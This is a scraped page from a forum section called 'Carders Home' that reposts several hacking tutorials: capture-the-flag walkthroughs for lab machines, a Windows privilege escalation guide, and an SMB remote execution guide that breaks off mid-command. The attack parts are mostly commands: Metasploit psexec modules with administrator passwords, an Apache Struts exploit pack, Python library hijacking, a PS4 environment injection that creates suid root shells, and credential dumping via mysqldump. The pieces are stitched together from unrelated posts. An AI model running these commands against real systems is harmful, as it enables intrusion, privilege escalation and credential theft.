![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-Cc0zkjhygPY/W5QI4WIpU7I/AAAAAAAAaLI/81esUzLyLcUgDNKVVzbmeLGYpIVC5BO8gCEwYBhgL/s1600/12.png?w=687&ssl=1)
IT will open up a shell. In a new terminal write:
vncviewer -passwd secret 127.0.0.1:5901
1
vncviewer -passwd secret 127.0.0.1:5901
![[Image: 13.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-O7TVy_KQRoU/W5QI4g8tOdI/AAAAAAAAaLM/U7JkbBCnnBQr8dnq0VNb3XR9mNltikC7QCEwYBhgL/s1600/13.png?w=687&ssl=1)
We saw an authentication successful tag!
What was left now but to:
ls
cat root.txt
1
2
ls
cat root.txt
And this is how we owned the poison VM. Hope you enjoyed because we sure did!
![[Image: 14.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-qUxjjSWk8Lk/W5QI5CVMoWI/AAAAAAAAaLQ/qUmB3wxgzFgrA4xiB8FFVLWzqXcTJuvQgCEwYBhgL/s1600/14.png?w=687&ssl=1)
Author: Harshit R
|
|
|
|
| [Guide] Window Privilege Escalation via Automated Script |
|
Posted by: NINZA - 05-14-2020, 09:40 AM - Forum: Carders Home
- No Replies
|
 |
We all know that after compromising the victim’s machine we have a low-privileges shell that we want to escalate into a higher-privileged shell and this process is known as Privilege Escalation. Today in this article we will discuss what comes under privilege escalation and how an attacker can identify that low-privileges shell can be escalated to the higher-privileged shell.
Table of Content - Introduction
- Vectors of Privilege Escalation
- Windows-Exploit-Suggester
- Windows Gather Applied Patches
- Sherlock
- JAWS – Just Another Windows (Enum) Script
- PowerUp
Introduction
Basically privilege escalation is a phase that comes after the attacker has compromised the victim’s machine where he tries to gather critical information related to systems such as hidden password and weak configured services or applications and etc. All this information help the attacker to make the post exploit against the machine for getting the higher-privileged shell.
Vectors Privilege Escalation
Following information are considered as critical Information of Windows System:- The version of the operating system
- Any Vulnerable package installed or running
- Files and Folders with Full Control or Modify Access
- Mapped Drives
- Potentially Interesting Files
- Unquoted Service Paths
- Network Information (interfaces, arp, netstat)
- Firewall Status and Rules
- Running Processes
- AlwaysInstallElevated Registry Key Check
- Stored Credentials
- DLL Hijacking
- Scheduled Tasks
Several scripts are used in penetration testing to quickly identify potential privilege escalation vectors on Windows systems, and today we will elaborate each script that works smoothly.
Windows-Exploit-suggester
If you have victim’s low-privilege meterpreter or command session then use can use Exploit-Suggester.
This module suggests local meterpreter exploits that can be used. The exploits are suggested based on the architecture and platform that the user has a shell opened as well as the available exploits in meterpreter. It’s important to note that not all local exploits will be fired. Exploits are chosen based on these conditions: session type, platform, architecture, and required default options.
use post/multi/recon/local_exploit_suggester
msf post(local_exploit_suggester) > set lhost 192.168.1.107
msf post(local_exploit_suggester) > set session 1
msf post(local_exploit_suggester) > exploit
1
2
3
4
use post/multi/recon/local_exploit_suggester
msf post(local_exploit_suggester) > set lhost 192.168.1.107
msf post(local_exploit_suggester) > set session 1
msf post(local_exploit_suggester) > exploit
As you can observe it has suggested some post exploits against which the target is vulnerable and that can provide higher-privilege shell.
![[Image: 0.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-QRghhYjshqo/W5NiLTYyMSI/AAAAAAAAaJw/44zzVMg3BVsv2C5NxI3KUvNy_SQ_9xW1QCEwYBhgL/s1600/0.png?w=687)
Windows Gather Applied Patches
This module will attempt to enumerate which patches are applied to a windows system based on the result of the WMI query: SELECT HotFixID FROM Win32_QuickFixEngineering.
use post/windows/gather/enum_patches
msf post(enum_patches) > set session 1
msf post(enum_patches) > exploit
1
2
3
use post/windows/gather/enum_patches
msf post(enum_patches) > set session 1
msf post(enum_patches) > exploit
As you can observe it has also shown that the target is possibly vulnerable to a recommended exploit that can provide higher-privilege shell.
![[Image: 1.1.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-28xri2-XHTQ/W5NiLUCzWGI/AAAAAAAAaJ8/p-gFG16RJ2oqqHExDLqEfF3Wisy37NS4gCEwYBhgL/s1600/1.1.png?w=687)
Sherlock
It is a PowerShell script to quickly find the missing software patches for local privilege escalation vulnerabilities. It also as similar as above post exploit as gives suggestion the target is possibly vulnerable to recommended exploit that can provide higher-privilege shell.
Download it from GitHub with help of the following command and execute when you have a victim’s meterpreter session at least once.
git clone //github.com/rasta-mouse/Sherlock.git
1
git clone //github.com/rasta-mouse/Sherlock.git
![[Image: 2.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-cyDgzuyudao/W5NiMtFJ3gI/AAAAAAAAaJ0/inewhKT9qaAjmjCI3Wg93N2wzhLtveG1ACEwYBhgL/s1600/2.png?w=687)
Since this script should be executed in PowerShell, therefore, load PowerShell and then import the downloading script.
load powershell
1
load powershell
![[Image: 1.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-m-akDc4Zf94/W5NiLk_CijI/AAAAAAAAaJw/UX1fJo_-D08KOagH32KciTjXdnJuVDRXwCEwYBhgL/s1600/1.png?w=687)
powershell_import '/root/Desktop/Sherlock/Sherlock.ps1'
powershell_execute "find-allvulns"
1
2
powershell_import '/root/Desktop/Sherlock/Sherlock.ps1'
powershell_execute "find-allvulns"
The above command will show that the target is possibly vulnerable to a recommended exploit that can be used to achieve a higher-privilege shell.
![[Image: 3.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-rQ2WgZtRrDA/W5NiM0fRm8I/AAAAAAAAaJs/L0681AuLhZQ2FIdJRIyw3b0YE9yxXW8AACEwYBhgL/s1600/3.png?w=687)
JAWS – Just Another Windows (Enum) Script
JAWS is PowerShell script designed to help penetration testers (and CTFers) quickly identify potential privilege escalation vectors on Windows systems. It is written using PowerShell 2.0 so ‘should’ run on every Windows version since Windows 7.
Current Features- Network Information (interfaces, arp, netstat)
- Firewall Status and Rules
- Running Processes
- Files and Folders with Full Control or Modify Access
- Mapped Drives
- Potentially Interesting Files
- Unquoted Service Paths
- Recent Documents
- System Install Files
- AlwaysInstallElevated Registry Key Check
- Stored Credentials
- Installed Applications
- Potentially Vulnerable Services
- MuiCache Files
- Scheduled Tasks
git clone //github.com/411Hall/JAWS.git
1
git clone //github.com/411Hall/JAWS.git
![[Image: 4.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-cWaIma4OKXE/W5NiNIpoHMI/AAAAAAAAaJw/FPtnrz8sUmUvRww3ekFUEGsCjVML3vZVACEwYBhgL/s1600/4.png?w=687)
Once you have meterpreter shell, upload the downloaded script and use the command shell to run the uploaded script
powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt
1
powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt
![[Image: 5.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-sUTQ9NxyM90/W5NiNAWqAyI/AAAAAAAAaJ0/YJRPDSxnEygtt8O8M5ceOuTrAF0CC14QACEwYBhgL/s1600/5.png?w=687)
It will store the critical information into a text file named as “JAWS-Enum.txt”
As said the JAWS-Enum.txt file must have been stored the vector that can lead to privilege escalation, let’s open it and figure out the result.
In the following image, you can observe it has shown all user name and IP configuration.
![[Image: 6.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-8BKv7cWVqP0/W5NiNqb88TI/AAAAAAAAaJ0/87G99h4XhgIQbEgSKIs7FV5Xol1MbbhIwCEwYBhgL/s1600/6.png?w=687)
In this image, we can clearly observe the result of NetStat.
![[Image: 7.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-Rwq5JwHNJXE/W5NiNqU4NAI/AAAAAAAAaJ8/9izoZcFFgZAYFAMwF_FvzQQpMRojXcxkACEwYBhgL/s1600/7.png?w=687)
In this image, we can clearly observe the result of the running process and services.
![[Image: 8.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-Z83rJQVVPfk/W5NiN0-x37I/AAAAAAAAaJ4/FsZ6rPgPaP0kvhd-X_-K2L71khUCIOiSgCEwYBhgL/s1600/8.png?w=687)
In this image, we can clearly observe all install program and patches.
![[Image: 9.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-Bw-mm3Ngw-U/W5NiOAWfX4I/AAAAAAAAaKA/DtbHa9GnafcoaOnBXIde-4EmOUnFffSnACEwYBhgL/s1600/9.png?w=687)
In this image, we can clearly observe the folder with full control and Modify Access and hence many more information can be extracted by running this script.
![[Image: 10.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-NrHQaNz07_8/W5NiMNrH84I/AAAAAAAAaJo/cQdAK5n_lbw-uXZ0n8vdXdOFvrznJ6PHACEwYBhgL/s1600/10.png?w=687)
PowerUp
PowerUp is a Powershell tool to assist with local privilege escalation on Windows systems. PowerUp aims to be a clearinghouse of common Windows privilege escalation vectors that rely on misconfiguration.
Running Invoke-AllChecks will output any identifiable vulnerabilities along with specifications for any abuse functions. The HTML Report flag will also generate a COMPUTER.username.html version of the report.
Current Feature
Service Enumeration:- Get-ServiceUnquoted : – returns services with unquoted paths that also have a space in the name.
- Get-ModifiableServiceFile :- returns services where the current user can write to the service binary path or its config.
- Get-ModifiableService : – returns services the current user can modify.
- Get-ServiceDetail :- returns detailed information about a specified service.
Service Abuse:- Invoke-ServiceAbuse : – modifies a vulnerable service to create a local admin or execute a custom command.
- Write-ServiceBinary : – writes out a patched C# service binary that adds a local admin or executes a custom command.
- Install-ServiceBinary :- replaces a service binary with one that adds a local admin or executes a custom command.
- Restore-ServiceBinary :- restores a replaced service binary with the original executable.
DLL Hijacking:- Find-ProcessDLLHijack : – finds potential DLL hijacking opportunities for currently running processes
- Find-PathDLLHijack :- finds service %PATH% DLL hijacking opportunities
- Write-HijackDll : – writes out a hijackable DLL
Registry Checks:- Get-RegistryAlwaysInstallElevated:- checks if the AlwaysInstallElevated registry key is set
- Get-RegistryAutoLogon :- checks for Autologon credentials in the registry
- Get-ModifiableRegistryAutoRun :- checks for any modifiable binaries/scripts (or their configs) in HKLM autoruns.
Now use the following command to download it from git hub as said above powerUp is the module of powersploit, therefore, we need to download package of powersploit.
git clone //github.com/PowerShellMafia/PowerSploit.git
cd PowerSploit
ls
cd Privesc
ls
1
2
3
4
5
git clone //github.com/PowerShellMafia/PowerSploit.git
cd PowerSploit
ls
cd Privesc
ls
![[Image: 11.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-ZOc4nKFDWV8/W5NiMdPGBOI/AAAAAAAAaJo/df2JHHrAN8MvFb1AWv2chnLV20r4-GpGwCEwYBhgL/s1600/11.png?w=687)
Again, load PowerShell and then import the downloading script.
load powershell
powershell_import '/root/Desktop/PowerSploit/Privesc/PowerUp.ps1'
powershell_execute Invoke-AllChecks
1
2
3
load powershell
powershell_import '/root/Desktop/PowerSploit/Privesc/PowerUp.ps1'
powershell_execute Invoke-AllChecks
The above command will show that the target is possibly vulnerable to a recommended exploit that can be used to achieve a higher-privilege shell.
![[Image: 12.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-kz7kvVxTmDQ/W5NiMt63lCI/AAAAAAAAaJ4/c3gdsrb7HJ863SFUB5_aatkJKFVtE0oXQCEwYBhgL/s1600/12.png?w=687)
Hello friends! Today we are going to take another CTF challenge known as /dev/random: k2. The credit for making this VM machine goes to “Sagi-” and it is another boot2root challenge in which our goal is to get root to complete the challenge. You can download this VM [To see content please register here] .
We are given the credentials to log in the VM machine (user: password)
Let us start form getting to know the IP of VM (Here, I have it at 192.168.199.138 but you will have to find your own
netdiscover
1
netdiscover
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-_jHzDWV67-U/W5IQ0HtciwI/AAAAAAAAaIY/m5PqN6XenwEsbPf9CBiFN5NeR5OBPHdEgCEwYBhgL/s1600/1.png?w=687&ssl=1)
We use the given credential to log in through ssh. After logging in we check the sudoers list and find that we can run /bin/calc as user “user2”.
ssh [email protected]
sudo -l
1
2
ssh [email protected]
sudo -l
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-pND7zEiXK_I/W5IQ2WU4iAI/AAAAAAAAaIY/gIj05LS6Pjkco00Br4oJN7qldZnYhWUAACEwYBhgL/s1600/2.png?w=687&ssl=1)
We use strace to debug the binary and if there are missing files or dependencies. We find there is a shared object file missing in /home/user/.config/directory called libcalc.so.
strace /bin/calc 2>&1 | grep -i -E "open|access"
1
strace /bin/calc 2>&1 | grep -i -E "open|access"
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-t1Kwnupcx_8/W5IQ2rlekSI/AAAAAAAAaIU/wD3X7LLUTHg9AF3IYweeKQ3t1d1CcV2FQCEwYBhgL/s1600/3.png?w=687&ssl=1)
We check /home directory and find that the user directory has all permission for the owner only. We give read and execute permission to users in the same group and others. Then we created a directory called .config so that we can create our shared object inside it.
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-6fsdvJS-H04/W5IQ2g_pGuI/AAAAAAAAaIc/Q8aGQzalGL0hOg0YeqBbdzDlYS83KeKmACEwYBhgL/s1600/4.png?w=687&ssl=1)
We created a binary that copy’s /bin/bash into /tmp directory, give it suid permission and run it.
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-aAwvuLxJUsY/W5IQ2_itGLI/AAAAAAAAaIc/N4Wf-TN4Pjo-Lx0JNk3RzHqg7T4gxaehQCEwYBhgL/s1600/5.png?w=687&ssl=1)
We save the file as libcalc.c, then we compile and run the /bin/calc as user2. As soon as we run the application we check the id and find that we have successfully spawned a shell as user2.
gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c
sudo -u user2 /bin/calc
1
2
gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c
sudo -u user2 /bin/calc
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-hNV2Yr1nsaU/W5IQ3D6moOI/AAAAAAAAaIg/RSc-6GzIODcJ2g7H3FtEpJvwD8fhJPFywCEwYBhgL/s1600/6.png?w=687&ssl=1)
After spawning a shell as user2 we try to enumerate the machine and find that there is cronjob that runs a file called /sbin/bckup for user3.
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-Ck8L2dLGZEE/W5IQ3O108lI/AAAAAAAAaIo/GKbC8lcfzwILYzyMGtrzPcoq1khnId02gCEwYBhgL/s1600/7.png?w=687&ssl=1)
We check the content of this file and find that it is a ruby script that creates a zip file in /tmp/ directory.
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-DtV19nr8V9E/W5IQ3bPpYRI/AAAAAAAAaIk/KrHUdA6tXWQgMu3Ke_PS797DyjjKb6IhACEwYBhgL/s1600/8.png?w=687&ssl=1)
We check the zip library of that this ruby is using and find that we can write the file.
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-681Lkoc6rhw/W5IQ3pJ2KwI/AAAAAAAAaIk/e_SmwiloIY0_VRNs1jthNR3GboSZ7g2lQCEwYBhgL/s1600/9.png?w=687&ssl=1)
We change the content of the file and add that bash command to copy /bin/bash and save it in /tmp/ directory as bash2 and set suid bit.
echo '`cp /bin/bash /tmp/bash2 && chmod +s /tmp/bash2`’ > /usr/local/share/gems/gems/rubyzip-1.2.1/lib/zip.rb
1
echo '`cp /bin/bash /tmp/bash2 && chmod +s /tmp/bash2`’ > /usr/local/share/gems/gems/rubyzip-1.2.1/lib/zip.rb
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-mJ0mAStPAZA/W5IQ0LufANI/AAAAAAAAaIo/oRSlCuYo7JgMRNEX9G1B-uZlFBeu62UaQCEwYBhgL/s1600/10.png?w=687&ssl=1)
We wait for some time and go to the /tmp/ directory. After changing the directory, we find bash2 has been created by user3. We run the new bash file and successfully spawn a shell as user3.
![[Image: 11.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-rKIvjmjA7PE/W5IQ0YEpcSI/AAAAAAAAaIo/oOqHFw5pY10egarU49V_7PhgkHGlEd-mQCEwYBhgL/s1600/11.png?w=687&ssl=1)
As we effective user id and not the actually used id of user3. We create a c program that spawns a shell as user3’s uid and gid.
![[Image: 12.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-xO8VOHXzgSM/W5IQ08wwbBI/AAAAAAAAaIQ/KO0fR0GhBIsKt0frDhBAiLfscDKvjeVAwCEwYBhgL/s1600/12.png?w=687&ssl=1)
We compile the program and run it. After running the program, we successfully spawn a shell with user3’s uid and gid.
gcc bash3.c -o bash3
1
gcc bash3.c -o bash3
![[Image: 13.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-Ls30fE_fDhg/W5IQ1IUSLLI/AAAAAAAAaIg/SyW7OsRUbrIMcLKbLHFif4SdBVychikkQCEwYBhgL/s1600/13.png?w=687&ssl=1)
Now we try to find files with suid bit set and find a file called “whoisme” is “/usr/bin/local/” directory.
find / -perm -4000 2>/dev/null
1
find / -perm -4000 2>/dev/null
![[Image: 14.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-Z4sdO95Cwos/W5IQ1RTivrI/AAAAAAAAaIY/798yX6Cue2Yqw-236H2Uik27P0RUNMeYwCEwYBhgL/s1600/14.png?w=687&ssl=1)
When we run the file it outputs the string “user”. When we check the binary file with strings command we find that it runs setuid, system, setgid and log name command.
![[Image: 15.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-Q8j6OWxRNq8/W5IQ1dA-SbI/AAAAAAAAaIk/E0bnywBF1hs2l8gAzL_IkQg897_IeH_CgCEwYBhgL/s1600/15.png?w=687&ssl=1)
We run by ignoring the environment we use PS4 variable to copy /bin/bash in /tmp/ directory as bash4 and change the ownership to root and set suid bit and run it along the binary file.
env -i SHELLOPTS=xstrace PS4=’$(cp /bin/bash /tmp/bash4 && chown root.root /tmp/bash4 && chmod +s /tmp/bash4)’ /bin/sh -c ‘/usr/local/bin/whoisme’
1
env -i SHELLOPTS=xstrace PS4=’$(cp /bin/bash /tmp/bash4 && chown root.root /tmp/bash4 && chmod +s /tmp/bash4)’ /bin/sh -c ‘/usr/local/bin/whoisme’
![[Image: 16.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-cNhTbdGEAbQ/W5IQ1sud5QI/AAAAAAAAaIg/-upha1bThtU2_7I5Wa_CjU3Vtg6_EyQ_QCEwYBhgL/s1600/16.png?w=687&ssl=1)
As soon as we run the file we find our copied bash file. We run the file and spawn a shell as a root user. We go to the root directory and a file called flag.txt.
![[Image: 17.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-m3wZfINli4o/W5IQ19G4sPI/AAAAAAAAaIQ/8XoKXGe6ww0C9o62ztwUfNlVUzQoAPN9QCEwYBhgL/s1600/17.png?w=687&ssl=1)
We take a look at the content of the file and find our congratulatory flag.
![[Image: 18.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-LsY0QiHRPms/W5IQ2Iz1hcI/AAAAAAAAaIY/d6TSkt8SCD4aOlIiWvLpWn1nf5XKF-w0wCEwYBhgL/s1600/18.png?w=687&ssl=1)
Hello friends!! Today we are going to solve another CTF challenge “Stratosphere” which is a lab presented by Hack the Box and is available online for those who want to increase their skills in penetration testing and black box testing. Stratosphere is a retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Easy
Task: find user.txt and root.txt file in the victim’s machine.
WalkThrough
Since these labs are online available therefore they have static IP. The IP of Stratosphere is 10.10.10.64
Let’s start off with scanning the network to find our target.
nmap -sV 10.10.10.64
1
nmap -sV 10.10.10.64
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-as6As5ZJ1A4/W46eHOB2PUI/AAAAAAAAaCk/tWQV1GAFM5AECywvye114Da4aO82jHvtwCEwYBhgL/s1600/1.png?w=687&ssl=1)
As per nmap port, 80 is open for HTTP let’s explore the target IP in the browser. After exploring port 80, we were welcomed by the following page where we didn’t found any informative clue.
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-r_Jt8tYS1wM/W46eIJGpYII/AAAAAAAAaC0/Dzo-1-jmiwIL2n0RgJTqUqt9xbmceXGlwCEwYBhgL/s1600/2.png?w=687&ssl=1)
After then we visit Port 8080 for HTTP proxy and here also we get the same web page. We try to inspect the source code of port 80 and 8080 but we got nothing.
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-2rzGlTuW7cE/W46eIkrcElI/AAAAAAAAaC4/lvTTZ_n9HBoEHGGFfvjLYjNGs8fwxswrgCEwYBhgL/s1600/3.png?w=687&ssl=1)
Therefore next we decided to have directory brute force attack with help of Dirbuster and used wordlist “dictionary-list-2.3-medium.txt” for the attack.
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-iORD8NN1qZg/W46eI5KU9lI/AAAAAAAAaDA/xumQpo1nnaYnn0PVjgRFx_xeshzy6mKuQCEwYBhgL/s1600/4.png?w=687&ssl=1)
Luckily it fetched some web directories such as /Monitoring, let’s explore it in the web browser.
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-td6ah1M-_Pg/W46eI8pAbeI/AAAAAAAAaDg/C9GA9AsoYSYS8d1zo2S7RjI0vSl2zrVyACEwYBhgL/s1600/5.png?w=687&ssl=1)
So when we try to open the URL [To see content please register here] then it gets a redirect to [To see content please register here] for login. I closely look at the URL containing .action extension, so I made Google search to extract complete information related to this extension. I found action extension is utilized by apache struts2 which has a history of bugs and vulnerabilities and if you will search for its exploit, you will get a lot of python scripts and exploits to compromise this service.
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-8YHF3DZamF4/W46eJ7y0NqI/AAAAAAAAaDk/QMHlFKOVqnUMcuvY-TA0pGSyQEmYDhwdQCEwYBhgL/s1600/6.png?w=687&ssl=1)
So we used nmap script to identify its state of vulnerability
nmap -p8080 --script http-vuln-cve2017-5638 --script-args path=/Monitoring/ 10.10.10.64
1
nmap -p8080 --script http-vuln-cve2017-5638 --script-args path=/Monitoring/ 10.10.10.64
Awesome!!! It is vulnerable to cve2017-563, let’s exploit it.
![[Image: 7.1.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-sV8O-6ibbM8/W46eJyJk6cI/AAAAAAAAaDk/NNN0ZmSL3pE8kwcPCz6hE7_qhL_KwM5mwCEwYBhgL/s1600/7.1.png?w=687&ssl=1)
I found an exploit Struts-Apache-ExploitPack, let’s download it from git hub and give full permission.
git clone [To see content please register here]
cd Struts-Apache-ExploitPack
cd Exploiter
ls
chmod 777 Exploit.sh
1
2
3
4
5
git clone [To see content please register here]
cd Struts-Apache-ExploitPack
cd Exploiter
ls
chmod 777 Exploit.sh
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-ub6tK7VqcsA/W46eJyMARtI/AAAAAAAAaDg/7v4VFkGtP749uO-UeTFw8dzKQetJkOfhgCEwYBhgL/s1600/7.png?w=687&ssl=1)
Now run the following command to exploit the victim machine.
./Exploit.sh [To see content please register here]
id
ls
cat db_connect
Username: admin
Password: admin
1
2
3
4
5
6
./Exploit.sh [To see content please register here]
id
ls
cat db_connect
Username: admin
Password: admin
![[Image: 8.1.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-MCR0Z1M1k08/W46eKUwyiXI/AAAAAAAAaDs/Mm0AeqdxAiMbMMRY9CCycA1FiCFX5iN2wCEwYBhgL/s1600/8.1.png?w=687&ssl=1)
So now we have database credential, let’s utilized them for getting all the information from inside the database.
mysqldump -u admin -padmin --all-databases --skip-lock-tables
1
mysqldump -u admin -padmin --all-databases --skip-lock-tables
Here I found Password “9tc*rhKuG5TyXvUJOrE^5CK7k” for user Richard, now let’s try to connect with SSH using these credential.
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-wziYRgPRxpU/W46eK7WhGVI/AAAAAAAAaDo/vPs4s55xIRkJd42LpcfR8QEJMWs50FkLgCEwYBhgL/s1600/8.png?w=687&ssl=1)
ssh [email protected]
1
ssh [email protected]
Yuppie we successfully logged in victim’s machine, so now let get the user.txt and root.txt
ls
cat user.txt
cat test.py
1
2
3
ls
cat user.txt
cat test.py
Here we notice that test.py was computing some hash values and at the end, it will give success.py from inside the root directory and the whole script depends upon hashlib.
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-ZbQnPIinEhk/W46eK45p38I/AAAAAAAAaDs/D1CYL9D1psoQe1t1ooRH4C8CuAYDZwybgCEwYBhgL/s1600/9.png?w=687&ssl=1)
Then we also check sudo rights for Richard and found he has sudo right to run all type of python script. So very first we check test.py file and start solving hashes in order to get success.py
sudo /usr/bin/python /home/richard/test.py
1
sudo /usr/bin/python /home/richard/test.py
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-dBjVEGEe1f0/W46eHXUBcFI/AAAAAAAAaDs/MXBTaGQL1zA7QcGPrLBAPh0ooLBZuixJgCEwYBhgL/s1600/10.png?w=687&ssl=1)
So we got the hash value, now we need to decode it and after decoding I found “kayboo!”
![[Image: 11.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-woJdjuT46JM/W46eHKpCJ-I/AAAAAAAAaDs/JQI-fcaZGX4zAU2IriK0TZnnFvcnwxPsACEwYBhgL/s1600/11.png?w=687&ssl=1)
On submitting the decoded text, it generated a new hash for further step and again I decode it and submit the answer and after then again a new hash and it was processing repetitively same at each time on submitting decoded text.
Since test.py was importing hashlib which was a python library so I last option was python library hijacking to escalate the root privilege.
![[Image: 12.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-4xsiPzdPxVc/W46eH2M504I/AAAAAAAAaDk/ZcWjz75jD3M-W3vq7a2f9cfdUQrtS7mBwCEwYBhgL/s1600/12.png?w=687&ssl=1)
Therefore I create a hashlib.py script in the current directory to import system binary ‘/bin/bash’ and hence now when we will run the test.py then it will import hashlib.py which will calls /bin/bash binary file.
echo 'import os;os.system("/bin/bash")' > hashlib.py
sudo /usr/bin/python /home/richard/test.py
1
2
echo 'import os;os.system("/bin/bash")' > hashlib.py
sudo /usr/bin/python /home/richard/test.py
Booom!!! Here we owned root access, now let’s get the root.txt file and finish this task.
![[Image: 13.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-riLsBFtMJtY/W46eIKKuIrI/AAAAAAAAaDs/ca08UTOV6KEY3VvH16XYBYv21xxRb4RmQCEwYBhgL/s1600/13.png?w=687&ssl=1)
In this article, we will learn how to connect with victim’s machine via SMB port 445, once you have collected username and password to your victim’s PC. To know how collect username and passwords to your remote host via SMB protocol click [To see content please register here] and to understand what is SMB protocol, click [To see content please register here]
Table of Content
Exploiting Windows Server 2008 R2 via SMB through Metasploit inbuilt exploits:- Microsoft Windows Authenticated User Code Execution
- Microsoft Windows Authenticated Powershell Command Execution
- Microsoft Windows Authenticated Administration Utility
- SMB Impacket WMI Exec
Third-party Tools- Impacket (psexec)
- Impacket (exec)
- Psexec exe
- Atelier Web Remote Commander
Exploiting Windows 2007 via SMB through Metasploit inbuilt exploits:- MS17-010 EternalRomance SMB Remote code execution
- MS17-010 EternalRomance SMB Remote command execution
Let’s Begin
Tested on: Windows Server2008 R2
Attacking Machine: Kali Linux
Microsoft Windows Authenticated User Code Execution
This module uses a valid administrator username and password (or password hash) to execute an arbitrary payload. This module is similar to the “psexec” utility provided by SysInternals. This module is now able to clean up after itself. The service created by this tool uses a randomly chosen name and description.
msf > use exploit/windows/smb/psexec
msf exploit windows/smb/psexec) > set rhost 192.168.1.104
msf exploit(windows/smb/psexec) > set smbuser administrator
msf exploit(windows/smb/psexec) > set smbpass Ignite@123
msf exploit(windows/smb/psexec) > exploit
1
2
3
4
5
msf > use exploit/windows/smb/psexec
msf exploit windows/smb/psexec) > set rhost 192.168.1.104
msf exploit(windows/smb/psexec) > set smbuser administrator
msf exploit(windows/smb/psexec) > set smbpass Ignite@123
msf exploit(windows/smb/psexec) > exploit
Here,
rhost –> IP of victim PC
smbuser –> username
smbpass –> password
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-rUu1EaD2_g8/W4oz9nFf9UI/AAAAAAAAaCA/atmDMf8fM-ore9-NGH2mBXtCN-E-0mjwACEwYBhgL/s1600/1.png?w=687&ssl=1)
Once the commands run you will gain a meterpreter session of your victim’s PC and so you can access it as you want.
Microsoft Windows Authenticated Powershell Command Execution
This module uses a valid administrator username and password to execute a PowerShell payload using a similar technique to the “psexec” utility provided by SysInternals. The payload is encoded in base64 and executed from the command line using the –encoded command flag. Using this method, the payload is never written to disk, and given that each payload is unique, is less prone to signature-based detection. A persist option is provided to execute the payload in a while loop in order to maintain a form of persistence. In the event of a sandbox observing PSH execution, a delay and other obfuscation may be added to avoid detection. In order to avoid interactive process notifications for the current user, the psh payload has been reduced in size and wrapped in a PowerShell invocation which hides the window entirely.
msf > use exploit/windows/smb/psexec_psh
msf exploit(windows/smb/psexec_psh) > set rhost 192.168.1.104
msf exploit(windows/smb/psexec_psh) > set smbuser administrator
msf exploit(windows/smb/psexec_psh) > set smbpass Ignite@123
msf exploit(windows/smb/psexec_psh) > exploit
1
2
3
4
5
msf > use exploit/windows/smb/psexec_psh
msf exploit(windows/smb/psexec_psh) > set rhost 192.168.1.104
msf exploit(windows/smb/psexec_psh) > set smbuser administrator
